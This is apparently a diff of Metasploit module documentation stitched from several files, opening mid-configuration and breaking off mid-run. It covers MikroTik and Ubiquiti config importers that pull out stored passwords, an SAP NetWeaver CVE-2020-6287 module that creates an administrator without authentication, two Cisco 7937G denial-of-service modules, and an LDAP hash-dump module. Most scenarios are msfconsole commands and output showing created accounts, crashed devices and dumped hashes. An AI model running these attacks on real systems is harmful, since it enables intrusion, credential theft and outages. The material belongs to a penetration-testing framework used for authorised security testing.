/system console
set [ find port=serial0 ] channel=0 disabled=no port=serial0 term=vt102
set [ find vcno=1 ] channel=0 disabled=no term=linux
set [ find vcno=2 ] channel=0 disabled=no term=linux
set [ find vcno=3 ] channel=0 disabled=no term=linux
set [ find vcno=4 ] channel=0 disabled=no term=linux
set [ find vcno=5 ] channel=0 disabled=no term=linux
set [ find vcno=6 ] channel=0 disabled=no term=linux
set [ find vcno=7 ] channel=0 disabled=no term=linux
set [ find vcno=8 ] channel=0 disabled=no term=linux
/system console screen
set blank-interval=10min line-count=25
/system hardware
set multi-cpu=yes
/system health
set state-after-reboot=enabled
/system identity
set name=mikrotik_hostname
/system leds settings
set all-leds-off=never
/system logging
set 0 action=memory disabled=no prefix="" topics=info
set 1 action=memory disabled=no prefix="" topics=error
set 2 action=memory disabled=no prefix="" topics=warning
set 3 action=echo disabled=no prefix="" topics=critical
/system note
set note="" show-at-login=yes
/system ntp client
set enabled=no primary-ntp=0.0.0.0 secondary-ntp=0.0.0.0 server-dns-names=""
/system resource irq
set 0 cpu=auto
set 1 cpu=auto
set 2 cpu=auto
set 3 cpu=auto
set 4 cpu=auto
set 5 cpu=auto
set 6 cpu=auto
set 7 cpu=auto
set 8 cpu=auto
set 9 cpu=auto
set 10 cpu=auto
/system upgrade mirror
set check-interval=1d enabled=no primary-server=0.0.0.0 secondary-server=0.0.0.0 user=""
/system watchdog
set auto-send-supout=no automatic-supout=yes ping-start-after-boot=5m ping-timeout=1m watch-address=none watchdog-timer=yes
/tool bandwidth-server
set allocate-udp-ports-from=2000 authenticate=yes enabled=yes max-sessions=100
/tool e-mail
set address=1.1.1.1 from=router@router.com password=smtppassword port=25 start-tls=no user=smtpuser
/tool graphing
set page-refresh=300 store-every=5min
/tool mac-server
set allowed-interface-list=all
/tool mac-server mac-winbox
set allowed-interface-list=all
/tool mac-server ping
set enabled=yes
/tool romon
set enabled=no id=00:00:00:00:00:00 secrets=""
/tool romon port
set [ find default=yes ] cost=100 disabled=no forbid=no interface=all secrets=""
/tool sms
set allowed-number="" auto-erase=no channel=0 port=none receive-enabled=no secret="" sim-pin=""
/tool sniffer
set file-limit=1000KiB file-name="" filter-cpu="" filter-direction=any filter-interface="" filter-ip-address="" filter-ip-protocol=\
"" filter-ipv6-address="" filter-mac-address="" filter-mac-protocol="" filter-operator-between-entries=or filter-port="" \
filter-stream=no memory-limit=100KiB memory-scroll=yes only-headers=no streaming-enabled=no streaming-server=0.0.0.0
/tool traffic-generator
set latency-distribution-max=100us measure-out-of-order=yes stats-samples-to-keep=100 test-id=0
/user aaa
set accounting=yes default-group=read exclude-groups="" interim-update=0s use-radius=no
```
### SwOS
```
vlan.b:[],lacp.b:{mode:[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00],sgrp:[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]},host.b:[],acl.b:[],snmp.b:{en:0x01,com:'7075626c6963',ci:'636f6e74616374696e666f',loc:'6c6f636174696f6e'},rstp.b:{ena:0x03ffffff},fwd.b:{fp1:0x03fffffe,fp2:0x03fffffd,fp3:0x03fffffb,fp4:0x03fffff7,fp5:0x03ffffef,fp6:0x03ffffdf,fp7:0x03ffffbf,fp8:0x03ffff7f,fp9:0x03fffeff,fp10:0x03fffdff,fp11:0x03fffbff,fp12:0x03fff7ff,fp13:0x03ffefff,fp14:0x03ffdfff,fp15:0x03ffbfff,fp16:0x03ff7fff,fp17:0x03feffff,fp18:0x03fdffff,fp19:0x03fbffff,fp20:0x03f7ffff,fp21:0x03efffff,fp22:0x03dfffff,fp23:0x03bfffff,fp24:0x037fffff,fp25:0x02ffffff,fp26:0x01ffffff,lck:0x00,lckf:0x00,imr:0x00,omr:0x00,mrto:0x01,vlan:[0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01],vlni:[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00],dvid:[0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01],fvid:0x00,srt:[0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64,0x64],suni:0x00,fmc:0x03ffffff,ir:[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]},link.b:{en:0x03ffffff,blkp:0x00,an:0x03ffffff,dpxc:0x03ffffff,fctc:0x03ffffff,fctr:0x00,spdc:[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00],cm:[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00],qtyp:[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00],nm:['506f727431','506f727432','506f727433','506f727434','506f727435','506f727436','506f727437','506f727438','506f727439','506f72743130','506f72743131','506f72743132','506f72743133','506f72743134','506f72743135','506f72743136','506f72743137','506f72743138','506f72743139','506f72743230','506f72743231','506f72743232','506f72743233','75706c696e6b','53465031','53465032']},sys.b:{id:'4d696b726f54696b2d637373333236',wdt:0x01,dsc:0x01,ivl:0x00,alla:0x00,allm:0x00,allp:0x03ffffff,avln:0x00,prio:0x8000,cost:0x00,igmp:0x00,ip:0x0158a8c0,iptp:0x02,dtrp:0x03ffffff,ainf:0x01,poe:0x00},.pwd.b:{pwd:'61646d696e'}
```
## Verification Steps
1. Have a Mikrotik configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/networking/mikrotik_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
### CONFIG
File path to the configuration file.
### ACTION
`ROUTEROS` for RouterOS config file, and `SWOS` for SwitchOS config file (usually SWB file extension). Default is `ROUTEROS`
## Scenarios
### RouterOS 6.45.9 /export verbose
```
resource (mikrotik_config.rb)> use auxiliary/admin/networking/mikrotik_config
resource (mikrotik_config.rb)> set rhost 1.1.1.1
rhost => 1.1.1.1
resource (mikrotik_config.rb)> set config /tmp/mikrotik.config
config => /tmp/mikrotik.config
resource (mikrotik_config.rb)> set verbose true
verbose => true
resource (mikrotik_config.rb)> run
[*] Running module against 1.1.1.1
[*] Importing config
[+] 1.1.1.1:22 OS: RouterOS 6.45.9
[+] 1.1.1.1:22 Wireless AP wpawifi with WPA password presharedkey
[+] 1.1.1.1:22 Wireless AP wpa2wifi with WPA2 password presharedkey
[+] 1.1.1.1:22 Wireless AP wpaeapwifi with WPA2-EAP username username password password
[+] 1.1.1.1:22 Wireless AP wepwifi with WEP password 0123456789 with WEP password 0987654321 with WEP password 1234509876 with WEP password 0192837645
[+] 1.1.1.1:22 Wireless AP wep1wifi with WEP password 1111111111
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out1 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out2 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out3 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out4 with username user and password password
[+] 1.1.1.1:22 PPPoE Client on ether2 named pppoe-user and service name internet with username user and password password
[+] 1.1.1.1:22 L2TP Client to 10.99.99.99 named l2tp-hm with username l2tp-hm and password 123
[+] 1.1.1.1:22 PPTP Client to 10.99.99.99 named pptp-hm with username pptp-hm and password 123
[+] 1.1.1.1:22 SNMP community write with password write and write access
[+] 1.1.1.1:22 SNMP community v3 with password 0123456789(SHA1), encryption password 9876543210(AES) and write access
[+] 1.1.1.1:22 SMB Username mtuser and password mtpasswd
[+] 1.1.1.1:22 disabled SMB Username disableduser and password disabledpasswd with RO only access
[+] 1.1.1.1:22 disabled PPP tunnel bridging named ppp1 with profile name ppp_bridge and password password
[+] 1.1.1.1:22 SMTP Username smtpuser and password smtppassword for 1.1.1.1:25
[+] Config import successful
[*] Auxiliary module execution completed
```
### SwOS 2.12 from Mikrotik CSS326-24G-2S+RM
```
resource (mikrotik_config_sw.rb)> use auxiliary/admin/networking/mikrotik_config
resource (mikrotik_config_sw.rb)> set rhost 1.1.1.1
rhost => 1.1.1.1
resource (mikrotik_config_sw.rb)> set config /home/h00die/Downloads/backup(1).swb
config => /home/h00die/Downloads/backup(1).swb
resource (mikrotik_config_sw.rb)> set verbose true
verbose => true
resource (mikrotik_config_sw.rb)> set action SWOS
action => SWOS
resource (mikrotik_config_sw.rb)> run
[*] Running module against 1.1.1.1
[*] Importing config
[*] 1.1.1.1:22 IP Address: 192.168.88.1
[+] 1.1.1.1:22 Hostname: MikroTik-css326
[+] 1.1.1.1:22 Admin login password: admin
[+] 1.1.1.1:22 SNMP Community: public, contact: , location:
[*] 1.1.1.1:22 Port 24 Named: uplink
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -1,43 +1,45 @@
## General Notes
## Vulnerable Application
This module imports an Ubiquiti Unifi configuration file into the database.
This is similar to `post/multi/gather/ubiquiti_unifi_backup` only access isn't required,
and assumes you already have the file.
### General Notes
This module is able to take a unf file, from the controller and perform the following actions:
This module imports an Ubiquiti Unifi configuration file into the database.
This is similar to `post/multi/gather/ubiquiti_unifi_backup` only access isn't required,
and assumes you already have the file.
1. Decrypt the file
2. Fix the zip file if a `zip` utility is on the system
3. Extract db.gz
4. Unzip the db file
5. Import the db file
This module is able to take a unf file, from the controller and perform the following actions:
Or simply pass the db file for import directly.
1. Decrypt the file
2. Fix the zip file if a `zip` utility is on the system
3. Extract db.gz
4. Unzip the db file
5. Import the db file
Or simply pass the db file for import directly.
## Verification Steps
1. Have a Ubiquiti Unifi configuration file (db or unf)
2. Start `msfconsole`
3. `use auxiliary/admin/ubiquiti/ubiquiti_config`
3. `use auxiliary/admin/networking/ubiquiti_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.unf`
6. `run`
## Options
**RHOST**
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
### CONFIG
File path to the configuration unf or db file..
File path to the configuration unf or db file..
## Scenarios
### Unf File
```
resource (unifi_config.rb)> use auxiliary/admin/ubiquiti/ubiquiti_config
resource (unifi_config.rb)> use auxiliary/admin/networking/ubiquiti_config
resource (unifi_config.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (unifi_config.rb)> set config /root/.msf4/loot/20190825172544_default_1.1.1.1_ubiquiti.unifi.b_740136.unf
@@ -59,12 +61,12 @@ resource (unifi_config.rb)> run
### db File
```
resource (unifi_config.rb)> use auxiliary/admin/ubiquiti/ubiquiti_config
resource (unifi_config.rb)> use auxiliary/admin/networking/ubiquiti_config
resource (unifi_config.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(admin/ubiquiti/ubiquiti_config) > set config /root/.msf4/loot/db
msf5 auxiliary(admin/networking/ubiquiti_config) > set config /root/.msf4/loot/db
config => /root/.msf4/loot/db
msf5 auxiliary(admin/ubiquiti/ubiquiti_config) > run
msf5 auxiliary(admin/networking/ubiquiti_config) > run
[*] Running module against 127.0.0.1
[*] Converting config BSON to JSON
@@ -0,0 +1,91 @@
## Vulnerable Application
This module leverages an unauthenticated web service to submit a job which will create a user with a specified role. The
job involves running a wizard. After the necessary action is taken, the job is canceled to avoid unnecessary system
changes.
SAP NetWeaver NetWeaver versions 7.30 through 7.50 are affected by this vulnerability. An Amazon Machine Image (AMI) for
Amazon Web Services (AWS) can be used as a testing environment. One such image is provided by Linke IT America LLC and
is available on the [AWS Marketplace][1] with installation instructions posted to their [blog][2].
Once set up and configured, the instances will be vulnerable on the default HTTP port 50000.
If the password does not meet the requirements (e.g. the value is too short), the server will respond with an error
message and the Metasploit module will need to be rerun.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/admin/sap/cve_2020_6287_ws_add_user`
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module and wait a few seconds
1. Once the "PCK Upgrade" job has been canceled, log in with the created credentials
## Options
### ROLE
The role to assign to the user in the system. This value is "Administrator" by default. If the role does not exist, then
execution will fail. For more information on users and roles, see the [SAP documentation][3].
From the documentation:
> Standard UME roles include such actions. The UME role Administrator includes Manage_ All, which enables you to display
> and change everything. By default, administrator roles are only assigned to administrators.
## Scenarios
### SAP NetWeaver 7.50
Example: Adding a new user `metasploit` with the `Administrator` role:
```
msf5 > use auxiliary/admin/sap/cve_2020_6287_ws_add_user
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set RHOSTS netweaver.lan
RHOSTS => netweaver.lan
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set USERNAME metasploit
USERNAME => metasploit
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set PASSWORD 0pe3nS3sam3
PASSWORD => 0pe3nS3sam3
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > check
[+] 192.168.53.183:50000 - The target is vulnerable.
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run
[*] Running module against 192.168.53.183
[*] Starting the PCK Upgrade job...
[+] Job running with session id: 3e76e705-4bbd-4a6b-b243-154768287fb0
[*] Received event description: Execution of User Management
[*] Received event description: Create User PCKUser
[+] Successfully created the user account
[*] Received event description: Assign Role SAP_XI_PCK_CONFIG to PCKUser
[+] Successfully added the role to the new user
[*] Canceling the PCK Upgrade job...
[*] Auxiliary module execution completed
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) >
```
Example: Removing the user `metasploit`:
```
msf5 > use auxiliary/admin/sap/cve_2020_6287_ws_add_user
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set RHOSTS netweaver.lan
RHOSTS => netweaver.lan
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set USERNAME metasploit
USERNAME => metasploit
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set PASSWORD 0pe3nS3sam3
PASSWORD => 0pe3nS3sam3
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > set ACTION REMOVE
ACTION => REMOVE
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) > run
[*] Running module against 192.168.53.183
[+] Successfully deleted the user account
[*] Auxiliary module execution completed
msf5 auxiliary(admin/sap/cve_2020_6287_ws_add_user) >
```
[1]: https://aws.amazon.com/marketplace/seller-profile?id=56cbce49-5486-4a83-a6b7-0fea3841da1b
[2]: https://docs.linkeit.com/amis/catalog/sap_ready_ami_installation_guide_nw750java_susesyb/
[3]: https://help.sap.com/doc/saphelp_nw73ehp1/7.31.19/en-US/4a/6e8a7ab94e4d27e10000000a42189b/frameset.htm
@@ -0,0 +1,43 @@
The `auxiliary/client/telegram/send_message` module allows you to send a Telegram message to given chat ID with a given
Telegram bot token. This module also can be used as a notifier for established sessions with using the `AutoRunScript` handler option.
## Module Options
**BOT TOKEN**
Each Telegram bot is given a unique authentication token when it is created. The token looks like
`123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11`. You can generate a new token by messaging @botfather via `https://t.me/botfather` and
sending the message `/newbot` to it, which should prompt it to ask a series of questions that will allow you to generate your bot.
Once you have completed this, you should get a message saying `Use this token to access the HTTP API:` followed by the value of the
bot's token. Use this value for `BOT_TOKEN`. If you have any issues, refer to [this document](https://core.telegram.org/bots#6-botfather).
**CHAT ID**
Unique identifier for a chat. To get the `CHAT_ID` value, send a message to the bot username that you created
earlier. Then browse to `https://api.telegram.org/bot<BOT_TOKEN VALUE>/getUpdates`
and look for a line like `"chat":"id":1344308063`. That ID is what you will
want to use the value of `CHAT_ID`; in this case it would be `1344308063`.
**MSG**
The message content.
**FORMATTING**
The Bot API supports basic formatting for messages. You can use bold, italic, underlined and strikethrough text,
as well as inline links and pre-formatted code in your bots' messages. Telegram clients will render them accordingly.
You can use either markdown-style or HTML-style formatting.
## Demonstration
```
msf5 > use auxiliary/client/telegram/send_message
msf5 post(client/telegram/send_message) > set BOT_TOKEN 851676320:AAFAkVtZP5Hd8cmfFIUg6j4eWJndDtdksl4
BOT_TOKEN => 851676320:AAFAkVtZP5Hd8cmfFIUg6j4eWJndDtdksl4
msf5 post(client/telegram/send_message) > set CHAT_ID 123456789
CHAT_ID => 123456789
msf5 auxiliary(client/telegram/send_message) > run
[+] Message sent
[*] Auxiliary module execution completed
```
@@ -0,0 +1,104 @@
## Vulnerable Application
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
### Description
This module exploits a bug in how the conference station handles incoming SSH
connections that provide an incompatible key exchange. By connecting with an
incompatible key exchange, the device becomes nonresponsive until it is manually power cycled.
## Verification Steps
1. Obtain a Cisco 7937G Conference Station.
2. Enable SSH Access on the device.
3. Start msfconsole
4. Do: `use auxiliary/dos/cisco/cisco_7937G_dos`
5. Do: `set RHOST 192.168.1.10`
6. Do: `run`
7. The conference station should now be nonresponsive until it is power cycled
## Options
No options
## Scenarios
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
#### Successful Scenario:
```
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
[*] Starting server...
[*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3)
[-] 192.168.110.209 - Exception: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 - Traceback (most recent call last):
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2083, in run
[-] 192.168.110.209 - self._handler_table[ptype](self, m)
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2198, in _negotiate_keys
[-] 192.168.110.209 - self._parse_kex_init(m)
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2354, in _parse_kex_init
[-] 192.168.110.209 - raise SSHException(
[-] 192.168.110.209 - paramiko.ssh_exception.SSHException: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 -
[*] 192.168.110.209 - dos non-reset attack completed!
[*] 192.168.110.209 - Errors are intended.
[*] 192.168.110.209 - Device must be power cycled to restore functionality.
[*] Auxiliary module execution completed
```
#### Unsuccessful Scenario:
```
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
[*] Starting server...
[-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled.
[*] Auxiliary module execution completed
```
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
#### Successful Scenario:
```
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
[*] Starting server...
[*] 192.168.110.209 - Connected (version 2.0, client OpenSSH_4.3)
[-] 192.168.110.209 - Exception: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 - Traceback (most recent call last):
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2083, in run
[-] 192.168.110.209 - self._handler_table[ptype](self, m)
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2198, in _negotiate_keys
[-] 192.168.110.209 - self._parse_kex_init(m)
[-] 192.168.110.209 - File "/usr/lib/python3/dist-packages/paramiko/transport.py", line 2354, in _parse_kex_init
[-] 192.168.110.209 - raise SSHException(
[-] 192.168.110.209 - paramiko.ssh_exception.SSHException: Incompatible ssh peer (no acceptable kex algorithm)
[-] 192.168.110.209 -
[*] 192.168.110.209 - dos non-reset attack completed!
[*] 192.168.110.209 - Errors are intended.
[*] 192.168.110.209 - Device must be power cycled to restore functionality.
[*] Auxiliary module execution completed
```
#### Unsuccessful Scenario:
```
msf5 > use auxiliary/dos/cisco/cisco_7937G_dos
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937G_dos) > run
[*] Starting server...
[-] 192.168.110.209 - Device doesn't appear to be functioning (already dos'd?) or SSH is not enabled.
[*] Auxiliary module execution completed
```
@@ -0,0 +1,54 @@
## Vulnerable Application
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
### Description
This module exploits a bug in how the conference station handles executing a ping via its web interface.
By repeatedly executing the ping function without clearing out the resulting output,
a DoS is caused that will reset the device after a few minutes.
## Verification Steps
1. Obtain a Cisco 7937G Conference Station.
2. Enable Web Access on the device (default configuration).
3. Start msfconsole
4. Do: `use auxiliary/dos/cisco/cisco_7937g_dos_reboot`
5. Do: `set rhost 192.168.1.10`
6. Do: `run`
7. The conference station should become nonresponsive and then power cycle itself.
## Options
No options
## Scenarios
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
```
msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run
[*] Starting server...
[*] 192.168.110.209 - Sending DoS Packets. Stand by.
[*] 192.168.110.209 - DoS reset attack completed!
[*] Auxiliary module execution completed
```
### Cisco 7937G Running Firmware Version SCCP-1-4-5-5
```
msf5 > use auxiliary/dos/cisco/cisco_7937g_dos_reboot
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209
rhost => 192.168.110.209
msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run
[*] Starting server...
[*] 192.168.110.209 - Sending DoS Packets. Stand by.
[*] 192.168.110.209 - DoS reset attack completed!
[*] Auxiliary module execution completed
```
@@ -0,0 +1,199 @@
## Vulnerable Application
### Description
This module uses an LDAP connection to dump data from LDAP server
using an anonymous or authenticated bind.
Searching for specific attributes it collects user credentials.
### Setup
Tested in the wild.
You may eventually setup an intentionally insecure OpenLDAP server in docker.
The below OpenLDAP server does not have any ACL, therefore the hashPassword
attributes are readable by anonymous clients.
```
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
$ cd bitnami-docker-openldap
$ docker-compose up -d
Creating bitnami-docker-openldap_openldap_1 ... done
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
RPORT => 1389
msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1389 yes The target port
SSL false no Enable SSL on the LDAP connection
USER_ATTR dn no LDAP attribute, that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
msf5 auxiliary(gather/ldap_hashdump) >
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against 127.0.0.1
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=example,dc=org
[*] Dumping LDAP data from server at 127.0.0.1:1389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Actions
### Dump
Dump all LDAP data from the LDAP server.
## Options
### BASE_DN
If you already have the LDAP base DN, you may set it in this option.
### USER_ATTR
LDAP attribute to take the user name from. Defaults to DN, however you may
wish to change it UID, name or similar.
### PASS_ATTR
LDAP attribute to take the password hash from. Defaults to userPassword,
some LDAP server may use different attribute, e.g. unixUserPassword,
sambantpassword, sambalmpassword.
## Scenarios
### Avaya Communication Manager via anonymous bind
```
msf5 > use auxiliary/gather/ldap_hashdump
msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
USER_ATTR dn no LDAP attribute, that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
[*] Searching for attribute: userPassword
[*] Taking uid attribute as username
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
```
### NASDeluxe - NAS with Samba LM/NTLM hashes
```
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
PASS_ATTR => sambantpassword
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
[*] Searching for attribute: sambantpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
